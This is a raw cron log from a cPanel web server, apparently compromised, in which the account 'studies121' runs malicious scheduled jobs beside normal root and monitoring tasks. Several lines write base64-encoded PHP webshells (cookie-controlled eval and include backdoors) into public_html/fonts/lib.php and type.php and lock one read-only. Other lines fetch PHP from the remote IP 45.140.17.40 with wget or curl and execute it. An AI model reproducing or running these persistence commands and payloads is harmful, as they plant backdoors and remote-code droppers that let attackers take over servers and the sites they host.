Sep  9 06:11:01 ip-184-168-122-23 CROND[26119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:12:01 ip-184-168-122-23 CROND[26212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:12:01 ip-184-168-122-23 CROND[26215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:12:01 ip-184-168-122-23 CROND[26217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:12:01 ip-184-168-122-23 CROND[26218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:12:01 ip-184-168-122-23 CROND[26220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:13:01 ip-184-168-122-23 CROND[26394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:13:01 ip-184-168-122-23 CROND[26395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:13:01 ip-184-168-122-23 CROND[26397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:13:01 ip-184-168-122-23 CROND[26398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:14:01 ip-184-168-122-23 CROND[26489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:14:01 ip-184-168-122-23 CROND[26491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:14:01 ip-184-168-122-23 CROND[26490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:14:01 ip-184-168-122-23 CROND[26492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:14:01 ip-184-168-122-23 CROND[26493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:15:01 ip-184-168-122-23 CROND[26626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:15:01 ip-184-168-122-23 CROND[26632]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  9 06:15:01 ip-184-168-122-23 CROND[26633]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:15:01 ip-184-168-122-23 CROND[26635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:15:01 ip-184-168-122-23 CROND[26636]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:15:01 ip-184-168-122-23 CROND[26637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:15:01 ip-184-168-122-23 CROND[26642]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 06:15:01 ip-184-168-122-23 CROND[26639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:16:01 ip-184-168-122-23 CROND[26790]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 06:16:01 ip-184-168-122-23 CROND[26792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:16:01 ip-184-168-122-23 CROND[26793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:16:01 ip-184-168-122-23 CROND[26794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:16:01 ip-184-168-122-23 CROND[26795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:16:01 ip-184-168-122-23 CROND[26796]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:17:01 ip-184-168-122-23 CROND[26895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:17:01 ip-184-168-122-23 CROND[26894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:17:01 ip-184-168-122-23 CROND[26893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:17:01 ip-184-168-122-23 CROND[26898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:18:01 ip-184-168-122-23 CROND[26975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:18:01 ip-184-168-122-23 CROND[26976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:18:01 ip-184-168-122-23 CROND[26979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:18:01 ip-184-168-122-23 CROND[26978]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:18:01 ip-184-168-122-23 CROND[26980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:19:01 ip-184-168-122-23 CROND[27111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:19:01 ip-184-168-122-23 CROND[27113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:19:01 ip-184-168-122-23 CROND[27114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:19:01 ip-184-168-122-23 CROND[27115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:20:02 ip-184-168-122-23 CROND[27270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:20:02 ip-184-168-122-23 CROND[27272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:20:02 ip-184-168-122-23 CROND[27273]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:20:02 ip-184-168-122-23 CROND[27274]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 06:20:02 ip-184-168-122-23 CROND[27276]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:20:02 ip-184-168-122-23 CROND[27277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:20:02 ip-184-168-122-23 CROND[27275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:20:02 ip-184-168-122-23 CROND[27278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:20:02 ip-184-168-122-23 CROND[27279]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 06:21:01 ip-184-168-122-23 CROND[27412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:21:01 ip-184-168-122-23 CROND[27413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:21:01 ip-184-168-122-23 CROND[27414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:21:01 ip-184-168-122-23 CROND[27418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:22:01 ip-184-168-122-23 CROND[27604]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:22:01 ip-184-168-122-23 CROND[27606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:22:01 ip-184-168-122-23 CROND[27607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:22:01 ip-184-168-122-23 CROND[27609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:22:01 ip-184-168-122-23 CROND[27608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:23:01 ip-184-168-122-23 CROND[27739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:23:01 ip-184-168-122-23 CROND[27743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
